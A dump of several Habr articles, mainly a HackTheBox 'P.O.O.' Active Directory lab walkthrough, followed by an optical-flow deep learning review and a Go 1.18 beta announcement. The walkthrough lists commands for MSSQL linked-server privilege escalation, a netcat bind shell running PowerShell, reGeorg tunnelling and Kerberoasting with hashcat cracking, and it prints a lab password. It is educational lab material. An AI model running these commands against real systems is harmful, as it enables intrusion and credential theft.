Описанным выше методом можно перенести и другие дистрибутивы Linux, изменяя список файлов и каталогов специфичных для ОС (в моем примере файл non\_tar), примеры настроек для переноса можно посмотреть на [Wiki](http://wiki.openvz.org/Category:Templates). Удачных вам экспериментов!
*материалы использовавшиеся для подготовки статьи:
[tdev.me/2011/02/create-trixbox-2-8-template-for-openvz](http://tdev.me/2011/02/create-trixbox-2-8-template-for-openvz/)
[wiki.openvz.org/Creating\_a\_CentOS\_5.0\_Template](http://wiki.openvz.org/Creating_a_CentOS_5.0_Template)* | https://habr.com/ru/post/146677/ | null | ru | null |
# HackTheBox endgame. Прохождение лаборатории Professional Offensive Operations. Пентест Active Directory
В данной статье разберем прохождение не просто машины, а целой мини-лаборатории с площадки [HackTheBox](https://www.hackthebox.eu/home/endgame/view/1).
Как сказано в описании, P.O.O. предназначен для проверки навыков на всех стадиях атак в небольшой среде Active Directory. Цель состоит в том, чтобы скомпрометировать доступный хост, повысить привилегии и, в конечном итоге, скомпрометировать весь домен, собрав при этом 5 флагов.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
**Организационная информация**
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал [канал в Telegram](https://t.me/RalfHackerChannel) и [группу для обсуждения любых вопросов](https://t.me/RalfHackerPublicChat) в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации [рассмотрю лично и отвечу всем](https://t.me/hackerralf8).
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Intro
-----
Данный endgame состоит из двух машин, и содержит 5 флагов.
Так же дается описание и адрес доступного хоста.
Начнем!
Recon flag
----------
Данная машина имеет IP адрес 10.13.38.11, который я добавляю в /etc/hosts.
`10.13.38.11 poo.htb`
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
```
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
```
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
```
nmap -A poo.htb -p80,1433
```
Таким образом, мы имеем службы IIS и MSSQL. При этом мы узнаем реальное DNS имя домена и компьютера. На веб сервере нас встречает домашняя страница IIS.
Давайте переберем директории. Я для этого использую gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w) и расширения, которые нас интересуют (-x).
```
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
```
Таким образом мы имеем HTTP аутентификацию для директории /admin, а также доступный файл хранилища службы рабочего стола .DS\_Store. .DS\_Store — это файлы, в которых хранятся пользовательские настройки для папки, такие как список файлов, расположение значков, выбранное фоновое изображение. Такой файл может попадать в директорию веб-сервера у веб разработчиков. Таким образом, мы получить информацию о содержимом каталог. Для этого можно использовать [DS\_Store crawler](https://github.com/anantshri/DS_Store_crawler_parser#ds_store_crawler_parser).
```
python3 dsstore_crawler.py -i http://poo.htb/
```
Мы получаем содержимое каталога. Самое интересное здесь — это каталог /dev, из которого мы в двух ветках можем посмотреть исходники и файлы db. Но мы можем первые 6 символов имени файлов и директорий, если сервис уязвим к IIS ShortName. Проверить наличие данной уязвимости можно с помощью [IIS shortname Scanner](https://github.com/lijiejie/IIS_shortname_Scanner).
И на ходим один текстовый файл, который начинается с «poo\_co». Не зная что делать дальше, я просто выбрал из словаря директорий все слова, начинающиеся на «co».
```
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
```
И переберем с помощью wfuzz.
```
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
```
И находим подходящее слово! Смотрим данный файл, сохраняем учетные данные (судя по параметру DBNAME, они от MSSQL).
Сдаем флаг, и мы продвигаемся на 20%.
Huh flag
--------
Подключаемся к MSSQL, я использую DBeaver.
Ничего интересного в данной базе не находим, давайте создадим Редактор SQL и проверим, какие есть пользователи.
```
SELECT name FROM master..syslogins;
```
У нас два пользователя. Давайте проверим свои привилегии.
```
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
```
Таким образом, привилегий никаких нет. Давайте посмотрим связанные серверы, про данную методику я подробно писал [здесь](https://xakep.ru/2020/01/24/lateral-movement/#toc01.).
```
SELECT * FROM master..sysservers;
```
Так мы находим еще один SQL Server. Давайте проверим выполнение команд на этом сервере с помощью openquery().
```
SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'select @@version as version');
```
И мы даже можем выстраивать дерево запросов.
```
SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITY\POO_PUBLIC", ''select @@version as version'');');
```
Дело в том, что когда мы выполняем запрос на связанный сервер, то запрос выполняется в контексте другого пользователя! Давайте посмотрим, в контексте какого пользователя мы работаем на связанном сервере.
```
SELECT name FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT user_name() as name');
```
А теперь посмотрим в каком контексте выполняются запрос со связанного сервера на наш!
```
SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT user_name() as name'');');
```
Таким образом, это контекст DBO, который должен обладать всеми привилегиями. Давайте проверим привилегии в случае запроса со связанного сервера.
```
SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
```
Как можно заметить, у нас есть все привилегии! Давайте так создадим своего админа. Но через openquery не пускают, давайте сделаем это через EXECUTE AT.
```
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
```
И теперь подключаемся с учетными данными нового пользователя, наблюдаем новую базу данных flag.
Сдаем этот флаг и идем далее.
BackTrack flag
--------------
Получим шелл с помощью MSSQL, я использую mssqlclient из пакета impacket.
```
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC
```
Нам нужно раздобыть пароли, и первое, что мы уже встречали, — это сайт. Таким образом нам нужен конфиг веб сервера (бросить удобный шелл не получается, видимо работает firewall).
Но доступ запрещен. Хотя мы можем прочитать файл из MSSQL, нужно лишь знать какие языки программирования настроены. И в директории MSSQL узнаем, что есть Python.
Тогда прочитать файл web.config нет никаких проблем.
```
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:\inetpub\wwwroot\web.config').read())"
```
С найденными учетными данными зайдем на /admin и забираем флаг.
Foothold flag
-------------
На самом деле от использования файервола есть некоторые неудобства, но просматривая настройки сети, замечаем, что также используется прокол IPv6!
Добавим данный адрес в /etc/hosts.
`dead:babe::1001 poo6.htb`
Давайте снова просканируем хост, но уже по протоколу IPv6.
И по IPv6 доступна служба WinRM. Подключимся с найденными учетными данными.
На рабочем столе есть флаг, сдаем его.
P00ned flag
-----------
Проведя разведку на хосте с помощью [winpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ничего особенного не находим. Тогда было принято решение снова искать учетные данные (на эту тему я тоже писал [статью](https://xakep.ru/2020/03/20/windows-ad-harvesting)). Но получить все SPN из системы через WinRM у меня не вышло.
```
setspn.exe -T intranet.poo -Q */*
```
Давайте выполним команду через MSSQL.
Указанным способом мы получаем SPN пользователей p00\_hr и p00\_adm, а это означает, что они уязвим к такой атаке, как Kerberoasting. Если вкратце, то мы можем получить хеши их паролей.
Для начала нужно получить стабильный шелл от имени пользователя MSSQL. Но так как нас ограничивают в доступе, то мы имеем связь с хостом только через 80 и 1433 порт. Но есть возможность туннелирования трафика через 80 порт! Для этого воспользуемся [следующим приложением](https://github.com/sensepost/reGeorg). Загрузим файл tunnel.aspx в домашнюю директорию веб сервера — C:\inetpub\wwwroot\.
Но при попытке обратиться к нему получаем ошибку 404. Это означает, что файлы \*.aspx не выполняются. Чтобы файлы с данным расширениям стали выполняться, установим ASP.NET 4.5 следующим образом.
```
dism /online /enable-feature /all /featurename:IIS-ASPNET45
```
И теперь при обращении к tunnel.aspx получаем ответ, что все готово к работе.
Давайте запустим клиентскую часть приложения, которая будет заниматься ретранслированием трафика. Мы будем перенаправлять весь трафик с 5432 порта на сервер.
```
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
```
И используем proxychains, чтобы слать трафик любого приложения через наш прокси. Добавим данный прокси в файл конфигурации /etc/proxychains.conf.
Теперь загрузим на сервер программу [netcat](https://github.com/bonzini/netcat), с помощью которой сделаем стабильный bind шелл, и скрипт [Invoke-Kerberoast](https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1), c помощью которого выполним атаку Kerberoasting.
Теперь через MSSQL запускаем листенер.
```
xp_cmdshell C:\temp\nc64.exe -e powershell.exe -lvp 4321
```
И подключаемся через наш прокси.
```
proxychains rlwrap nc poo.htb 4321
```
И давайте получим хеши.
```
. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:\temp\kerb_hashes.txt' -Width 8000
type kerb_hashes.txt
```
Далее нужно перебрать эти хеши. Так как в rockyou словаре данных паролей не было, то я использовал ВСЕ словари passwords, предоставленные в Seclists. Для перебора используем hashcat.
```
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
```
И находим оба пароля, первый в словаре dutch\_passwordlist.txt, а второй в Keyboard-Combinations.txt.
И так у нас есть три пользователя, идем на контроллер домена. Сначала узнаем его адрес.
Отлично, мы узнали IP адрес контроллера домена. Давайте узнаем всех пользователей домена, а также кто из них является администратором. Для загрузим скрипт для получения информации PowerView.ps1. Потом подключимся с помощью evil-winrm, указав в параметре -s директорию со скриптом. А потом просто загрузим скрипт PowerView.
Теперь нам доступны все его функции. Пользователь p00\_adm похож на привилегированного, поэтому будем работать в его контексте. Создадим объект PSCredential для этого пользователя.
```
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
```
Теперь все команды Powershell, где мы укажем Creds, будут выполнены от имени p00\_adm. Давайте выведем список пользователей и атрибут AdminCount.
```
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
```
И так, наш пользователь реально является привилегированным. Давайте глянем, в каких группах он состоит.
```
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
```
Окончательно утверждаемся, что пользователь является администратором домена. Это дает ему право удаленного входа на контроллер домена. Давайте попробуем войти через WinRM, используя наш туннель. Меня смутили ошибки, выдаваемые reGeorg’ом при использовании evil-winrm.
Тогда воспользуемся другим, более легким, [скриптом](https://github.com/Alamot/code-snippets/blob/master/winrm/winrm_shell_with_upload.rb) для подключения к WinRM. Откроем и поменяем параметры для подключения.
Пробуем подключиться, и мы в системе.
Но флага нет. Тогда посмотри пользователе и проверим рабочие столы.
У mr3ks находим флаг и лаборатория пройдена на 100%.
Вот и все. В качестве обратной связи, прокомментируйте — узнали ли Вы что-то новое из данной статьи и была ли она Вам полезна.
Вы можете присоединиться к нам в [Telegram](https://t.me/RalfHackerChannel). Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ. | https://habr.com/ru/post/504912/ | null | ru | null |
# Deep Learning в вычислении оптического потока
С появлением множества различных архитектур нейронных сетей, многие классические Computer Vision методы ушли в прошлое. Все реже люди используют SIFT и HOG для object detection, а MBH для action recognition, а если и используют, то скорее как handcrafted-признаки для соответствующих сеток. Сегодня мы рассмотрим одну из классических CV-задач, в которой первенство по-прежнему остается за классическими методами, а DL-архитектуры томно дышат им в затылок.
Optical flow estimation
-----------------------
Задача вычисления оптического потока между двумя изображениями (обычно, между соседними кадрами видео) заключается в построении векторного поля  такого же размера, причем  будет соответствовать вектору видимого смещения пикселя  с первого кадра до второго. Построив такое векторное поле между всеми соседними кадрами видео, мы получим полную картину того, как передвигались те или иные объекты на нем. Иными словами, это задача трекинга всех пикселей на видео. Применяется оптический поток чрезвычайно широко — в задачах action recognition, например, такое векторное поле позволяет сконцентрироваться на движениях, происходящих на видео и уйти от его контекста [7]. Еще более распространенные приложения — визуальная одометрия, компрессия видео, его постобработка (например, добавление slow motion эффекта) и многое другое.
Тут есть место некоторым неоднозначностям — что именно считать видимым смещением с точки зрения математики? Обычно, предполагают что значения пикселей переходят из одного кадра в следующий без изменений, иными словами: 
где  — интенсивность пикселя по координатам , тогда оптический поток  показывает куда сместился этот пиксель в следующий момент времени (т.е. на следующем кадре).
В картинке это выглядит так:
Визуализировать векторное поле непосредственно векторами наглядно, но не всегда удобно, поэтому второй распространенный способ — визуализация цветом:
Каждый цвет на этой картинке кодирует определенный вектор. Для простоты, вектора длиннее 20-ти обрезаются, а сам вектор по цвету можно восстановить из следующей картинки:
**Больше котического потока!**
Классические методы добились довольно неплохой точности, за которую порой приходится платить скоростью работы. Мы же рассмотрим прогресс, которого достигли нейронные сети в решении этой задачи за последние 4 года.
Данные и метрики
----------------
Два слова о том, какие датасеты были доступны и популярны на момент начала нашего рассказа (т.е. 2015 год), а также каким способом измеряют качество получившегося алгоритма.
##### Middlebury
Крохотный датасет из 8 пар изображений с небольшими смещениями, который, тем не менее, иногда используется при валидации алгоритмов вычисления оптического потока и сейчас.
##### KITTI
Это датасет, размеченный под приложения для self-driving автомобилей и собранный с помощью технологии LIDAR. Он широко используется для валидации алгоритмов вычисления оптического потока и содержит множество довольно сложных случаев с резкими переходами между кадрами.
##### Sintel
Еще один очень распространенный бенчмарк, созданный на основе открытого и нарисованного в Blender мультика Sintel в двух версиях, которые обозначаются как clean и final. Второй намного сложнее, т.к. содержит множество атмосферных эффектов, шумов, блюра и прочих неприятностей для алгоритмов вычисления оптического потока.
##### EPE
Стандартная функция ошибки для задачи вычисления оптического потока — это End Point Error или EPE. Это просто Евклидово расстояние между рассчитанным алгоритмом и истинным оптическим потоком, усредненный по всем пикселям.
Flownet (2015)
--------------
Взявшись за построение архитектуры нейронной сети для задачи вычисления оптического потока в далеком 2015, авторы (из Мюнхенского и Фрайбургского университетов) столкнулись с двумя проблемами: под данную задачу не было большого размеченного датасета, а его разметка вручную составляла бы определенные сложности (попробуй разметить куда двинулся каждый пиксель изображения на следующем кадре), во-первых. Данная задача довольно сильно отличалась от всех задач, которые решались при помощи CNN-архитектур до этого, во-вторых. По-сути, это задача попиксельной регрессии, что делает ее схожей с задачей сегментации (попиксельная классификация), но вместо одного изображения у нас на входе два, причем интуитивно, признаки должны каким-то образом показывать разницу между этими двумя изображениями. В качестве первой итерации было решено в качестве входа просто стакнуть два RGB-кадра (получив, по-сути, 6-канальное изображение), между которыми мы хотим подсчитать оптический поток, а в качестве архитектуры взять U-net с рядом изменений. Такую сеть назвали FlowNetS (S значит Simple):
Как видно из схемы, энкодер ничем не примечателен, декодер же отличается от классических вариантов несколькими вещами:
1. Предсказание оптического потока происходит не только с последнего уровня, но также и со всех остальных. Чтобы получить Ground Truth для i-го уровня декодера, исходный таргет (т.е. оптический поток) просто уменьшается (почти так же, как и изображение) до нужного разрешения, а сам предикт, получившийся на i-м уровне докидывается дальше, т. е. конкатенируется с выходящей из этого уровня картой признаков. Общая функция потерь при обучении будет являться взвешенной суммой лоссов со всех уровней декодера, сам вес будет при этом тем больше, чем ближе уровень к выходу сети. Авторы не дают объяснения почему так делается, но скорее всего причиной служит тот факт, что резкие движения лучше детектировать на ранних уровнях, тогда на оптическом потоке меньшего разрешения вектора не будут такими большими.
2. На схеме видно, что входное разрешение изображений — 384х512, а у выхода в четыре раза меньше. Авторы заметили, что если увеличить такой выход до 384х512 простой билинейной интерполяцией, это даст такое же качество, как если прикрепить еще два уровня декодера. Также можно использовать вариационный подход [2], что докидывает еще качества (+v в таблице с качеством).
3. Как и в U-net, карты признаков с энкодера прокидываются в декодер и конкатенируются как показано на схеме.
Чтобы понять, как авторы попробовали улучшить свой бейзлайн, нужно знать, что такое корреляция между изображениями и почему она может быть полезна при подсчете оптического потока. Итак, имея два изображения и зная, что второе является следующим кадром в видео относительно первого, мы можем попытаться сопоставить область вокруг точки на первом кадре (для которой хотим найти сдвиг до второго кадра) с областями такого же размера на втором изображении. При этом предполагая, что за единицу времени сдвиг не мог быть слишком большим, сопоставление можно считать лишь в некоторой окрестности исходной точки. Для этого используется кросс-корреляция. Поясним на примере.
Возьмем два соседних кадра видео, мы хотим определить куда сместилась определенная точка с первого кадра до второго. Предположим, что некоторая область вокруг этой точки сдвинулась точно также. Действительно, соседние пиксели на видео обычно смещаются вместе, т.к. скорее всего, визуально, являются частью одного объекта. Это предположение активно используется, например, в дифференциальных подходах, о чем можно подробней прочитать в [5], [6].
```
fig, ax = plt.subplots(1, 2, figsize=(20, 10))
ax[0].imshow(frame1)
ax[1].imshow(frame2);
```
Попробуем взять точку в центре лапки котенка и найти ее же на втором кадре. Возьмем некоторую область вокруг нее.
```
patch1 = frame1[90:190, 140:250]
plt.imshow(patch1);
```
Рассчитаем корреляцию между этой областью (в англоязычной литературе часто пишут template или patch с первого изображения) и вторым изображением. Шаблон будет просто «гулять» по второму изображению и рассчитывать следующую величину между собой и кусочками такого же размера на втором изображении:
Чем больше будет значение этой величины, тем больше шаблон похож на соответствующий кусок на втором изображении. С помощью OpenCV это можно сделать так:
```
corr = cv2.matchTemplate(frame2, patch1, cv2.TM_CCORR_NORMED)
plt.imshow(corr, cmap='gray');
```
Подробнее можно почитать в [7].
Результат выглядит следующим образом:
Мы видим явный пик, обозначенный белым цветом. Найдем его на втором кадре:
```
min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(corr)
h, w, _ = patch1.shape
top_left = max_loc
bottom_right = (top_left[0] + w, top_left[1] + h)
frame2_copy = frame2.copy()
cv2.rectangle(frame2_copy, top_left, bottom_right, 255, 2)
plt.imshow(frame2_copy);
```
Видим, что лапка нашлась правильно, по этим данным мы можем понять в какую сторону она сдвинулась с первого кадра до второго и рассчитать соответствующий этому оптический поток. Кроме того, оказывается, такая операция довольно устойчива к фотометрическим искажениям, т.е. если яркость на втором кадре резко возрастает, пик кросс-корреляции между изображениями останется на своем месте.
Учитывая все вышесказанное, авторы решили ввести в свою архитектуру так называемый correlation layer, но считать корреляцию было решено не по входным изображениям, а по картам признаков после нескольких слоев энкодера. Такой слой, по понятным причинам, не имеет обучающихся параметров, хотя и похож по своей сути на свертку, но вместо фильтров здесь используются не веса, а некоторая область второго изображения:
Как ни странно, такой трюк не дал значительного улучшения качества у авторов данной статьи, однако, был более успешно применен в дальнейших работах, а в [9] авторы смогли показать, что немного изменив параметры обучения можно заставить FlowNetC работать намного лучше.
Проблему с отсутствием датасета авторы решили довольно изящным образом: наскрапили 964 изображений с Flickr по темам: «city», «landscape», «mountain» в разрешении 1024 × 768 и использовали их кропы 512 × 384 в качестве фона, на который затем накинули несколько стульев из открытого сета отрендеренных 3D-моделек. Затем на стулья и фон независимо применяли различные аффинные преобразования, которые использовались для генерации второго изображения в паре и оптического потока между ними. Результат выглядит следующим образом:
Интересным результатом стало то, что использование такого синтетического датасета позволило добиться относительно хорошего качества и для данных из другого домена. Файн-тюн на соответствующих данных, разумеется, докидывал еще качества (+ft в таблице ниже):
Результат на реальных видео можно посмотреть здесь:
SpyNet (2016)
-------------
Во многих последующих статьях, авторы пытались улучшить качество путем решения проблемы плохого распознавания резких движений. Интуитивно, движение не будет схвачено сетью, если его вектор значительно выходит за receptive field активации. Решить эту проблему предлагается за счет трех вещей: сверток большего размера, пирамид и «оборачивания» (warping) одного изображения из пары в оптический поток. Обо всем по-порядку.
Итак, если у нас есть пара изображений, на которых объект резко сместился (10+ пикселей), то мы можем просто уменьшить изображение (в 6 или более раз). Абсолютное значение смещения значительно уменьшится, и сеть с большей вероятностью сможет его «поймать», особенно, если его свертки будут больше, чем само смещение (в данном случае используются свертки 7х7).
Однако, при уменьшении изображения, мы потеряли много важных деталей, поэтому следует перейти на следующий уровень пирамиды, в котором размер изображения уже больше, при этом как-то учесть информацию, которую мы получили до этого, когда рассчитывали оптический поток на меньшем размере. Это делается при помощи warping operator, который пересчитывает первое изображение согласно имеющемуся приближению оптического потока (полученного на предыдущем уровне). Улучшение в данном случае состоит в том, что первое изображение, которое «подвинули» согласно приближению оптического потока будет ближе ко второму, чем исходное, т. е. мы снова уменьшаем абсолютное значение оптического потока, которое нам надо предсказать (напомню, небольшие по значению движения детектируются намного лучше, т. к. полностью входят в одну свертку). С точки зрения математики, имея растровое изображение I и приближение оптического потока V, warping operator можно описать так:
где , т.е. определенная точка на изображении,  — само изображение,  — оптический поток,  — результирующее изображение, «обернутое» в оптический поток.
Как же применить это все в CNN-архитектуре? Зафиксируем количество уровней пирамиды  и множитель, на который уменьшается каждое последующее изображение на уровне, начиная с последнего . Обозначим за  и функции уменьшения (downsampling) и увеличения (upsampling) изображения или оптического потока на этот множитель.
Заведем себе также набор CNN-ок {}, по одной на каждый уровень пирамиды. Тогда -я сеть будет принимать на вход пару изображений с -го уровня пирамиды и оптический поток, подсчитанный на -м уровне ( будет просто принимать тензор из нулей вместо этого). При этом одно из изображений мы будем отправлять в warping layer, чтобы уменьшить разницу между ними, а предсказывать будем не сам оптический поток на этом уровне, а значение, которое нужно прибавить к увеличенному (upsampled) оптическому потоку с предыдущего уровня, чтобы получить оптический поток на этом уровне. В формуле это выглядит примерно так:
Чтобы получить сам оптический поток, мы просто сложим предикт сети и увеличенный поток с предыдущего уровня:
Для получения Ground Truth для сети на этом уровне нам нужно проделать обратную операцию — вычесть из таргета (уменьшенного до нужного уровня) предикт с предыдущего уровня пирамиды. Схематично, это выглядит так:
Преимущество такого подхода в том, что каждый уровень мы можем обучать независимо. Авторы начинали обучение с 0-го уровня, каждая последующая сеть при этом инициализировалась параметрами предыдущей. Так как каждая сеть  решает задачу намного более простую, чем полное вычисление оптического потока на большом изображении, то и параметров можно сделать намного меньше. Настолько меньше, что теперь весь ансамбль целиком может поместиться на мобильные устройства:
Сам ансамбль выглядит следующим образом (пример пирамиды из 3х уровней):
Осталось поговорить непосредственно об архитектуре -ой сети и подвести итоги. Каждая сеть  состоит из 5-ти сверточных слоев, каждая из которых заканчивается ReLU-активацией, кроме последней (которая предсказывает оптический поток). Количество фильтров на каждом слое равно соответственно {}. Входы нейронной сети (изображение, второе изображение «обернутое» в оптический поток и сам оптический поток) просто конкатенируются по размерности каналов, так что входной тензор их имеет 8. Результаты впечатляют:
PWC-Net (2018)
--------------
Вдохновившись успехами немецких коллег, ребята из NVIDIA решили применить свой опыт (и видеокарточки), чтобы еще сильнее улучшить результат. В основу их работы во-многом легли идеи из предыдущей модели (SpyNet), поэтому PWC-Net тоже будет иметь дело с пирамидами, но с пирамидами сверток, а не исходных изображений, однако, опять же — обо всем по-порядку.
Использование сырых значений интенсивности пикселей для подсчета оптического потока не всегда разумно, т.к. резкое изменение яркости/контрастности сломает наше предположение о том, что пиксели переходят из одного кадра в следующий без изменений и алгоритм будет не устойчив к таким изменениям. В классических алгоритмах подсчета оптического потока применяются различные преобразования, которые смягчают эту ситуацию, в данном же случае авторы решили предоставить модели возможность самой выучить такие преобразования. Поэтому вместо пирамиды изображений в PWC-Net используются пирамиды сверток (отсюда первая буква в Pwc-Net), т.е. просто карты признаков с разных слоев CNN, которую здесь называют feature pyramid extractor.
Дальше все почти как в SpyNet, только перед тем, как подать в CNN, которая здесь называется optical flow estimator, все необходимое, а именно:
* изображение (в данном случае — карту признаков из feature pyramid extractor),
* рассчитанный на предыдущем уровне апсемпленный оптический поток,
* второе изображение, «обернутое» (помните warping layer, отсюда вторая буква в pWc-Net) в этот оптический поток,
между «обернутым» вторым кадром и обычным первым (снова напоминаю, что вместо сырых изображений здесь используются карты признаков с feature pyramid extractor) считают то, что здесь называют cost volume (отсюда третья буква в pwC-Net) и что является по-сути уже рассмотренной ранее корреляцией между двумя изображениями.
Последний штрих — это context network, который добавляется сразу после optical flow estimator и играет роль обучаемого пост-процессинга для подсчитанного оптического потока. Подробности архитектур можно посмотреть под спойлером либо в исходной статье.
**Интимные подробности**
Итак, feature pyramid extractor имеет одни и те же веса для обоих изображений, в качестве нелинейности для каждой свертки используется leaky ReLU. Для уменьшения разрешения карт признаков на каждом последующем уровне используются свертки со страйдом 2, а  означает карту признаков изображения  на уровне .
Optical flow estimator на 2м уровне пирамиды (для примера). Здесь ничего необычного, каждая свертка по-прежнему заканчивается leaky ReLU, кроме последней, которая и предсказывает оптический поток.
Context network все на том же 2м уровне пирамиды, эта сеть использует dilated convolutions с теми же leaky ReLU активациями, кроме последнего слоя. Она принимает на вход вычисленный с помощью optical flow estimator оптический поток и признаки со второго с конца слоя с того же optical flow estimator. Последняя цифра в каждом блоке означает dilation constant.
Результаты впечатляют еще больше:
В сравнении с прочими CNN-методами вычисления оптического потока, PWC-Net достигает баланса между качеством и количеством параметров:
Также есть отличное выступление самих авторов, в котором они рассказывают о самой модели и их экспериментах:
Заключение
----------
Эволюция архитектур, решающих задачу подсчета оптического потока — замечательный пример того, как прогресс в CNN-архитектурах и комбинирование их с классическими методами дает все лучший и лучший результат. И хотя классические CV-методы все еще выигрывают в качестве, последние результаты дают надежду, что это поправимо…
Источники и ссылки
-------------------
1. FlowNet: Learning Optical Flow with Convolutional Networks: [статья](https://www.cv-foundation.org/openaccess/content_iccv_2015/papers/Dosovitskiy_FlowNet_Learning_Optical_ICCV_2015_paper.pdf), [код](https://github.com/ClementPinard/FlowNetPytorch).
2. Large displacement optical flow: descriptor matching in variational motion estimation: [статья](https://lmb.informatik.uni-freiburg.de/Publications/2011/Bro11a/brox_tpami10_ldof.pdf).
3. Optical Flow Estimation using a Spatial Pyramid Network: [статья](https://arxiv.org/pdf/1611.00850.pdf), [код](https://github.com/sniklaus/pytorch-spynet).
4. PWC-Net: CNNs for Optical Flow Using Pyramid, Warping, and Cost Volume: [статья](https://arxiv.org/pdf/1709.02371.pdf), [код](https://github.com/NVlabs/PWC-Net).
5. То, что вы хотели знать про оптический поток, но стеснялись спросить: [статья](https://habr.com/ru/post/201406/).
6. Вычисление оптического потока методом Лукаса-Канаде. Теория: [статья](https://habr.com/ru/post/169055/).
7. Template matching with OpenCVP: [дока](https://docs.opencv.org/2.4/doc/tutorials/imgproc/histograms/template_matching/template_matching.html).
8. Quo Vadis, Action Recognition? A New Model and the Kinetics Dataset: [статья](https://arxiv.org/pdf/1705.07750.pdf).
9. FlowNet 2.0: Evolution of Optical Flow Estimation with Deep Networks: [статья](https://arxiv.org/pdf/1612.01925.pdf), [код](https://github.com/NVIDIA/flownet2-pytorch). | https://habr.com/ru/post/446726/ | null | ru | null |
# Вышла Beta Go 1.18 с дженериками. Подробности из блога Go под катом
Официальный релиз Go 1.18 состоится только через пару месяцев. Это первый предварительный выпуск Go 1.18, чтобы вы могли [попробовать его](https://go.dev/dl/#go1.18beta1) и сообщить о проблемах. Go 1.18 Beta 1 — это огромный объём работы всей команды разработчиков Go в Google и участников проекта Go по всему миру. Нам очень хочется узнать ваше мнение.
---
Go 1.18 Beta 1 — первый предварительный выпуск, содержащий поддержку [дженерик-кода](https://go.dev/blog/why-generics) с параметризованными типами. Дженерики — это самое значительное изменение в Go с момента выхода Go 1 и, конечно, самое крупное изменение в языке, которое мы делали когда-либо.
В любой крупной новой функции новые пользователи часто обнаруживают новые ошибки, и мы не ждём, что дженерики станут исключением; обязательно подходите к ним с соответствующей осторожностью. Кроме того, некоторые случаи, например определённые виды рекурсивных дженерик-типов, отложены до будущих релизов.
Мы знаем первых пользователей, которые остались довольны, и, если у вас есть сценарии использования, по вашему мнению особенно подходящие для дженериков, мы надеемся, что вы попробуете их.
Нами опубликовано [краткое руководство](https://go.dev/doc/tutorial/generics) о том, как начать работать с дженериками, и на прошлой неделе выступили с [докладом](https://www.youtube.com/watch?v=35eIxI_n5ZM&t=1755s) на GopherCon. Вы даже можете попробовать новую версию [в песочнице](https://go.dev/play/?v=gotip).
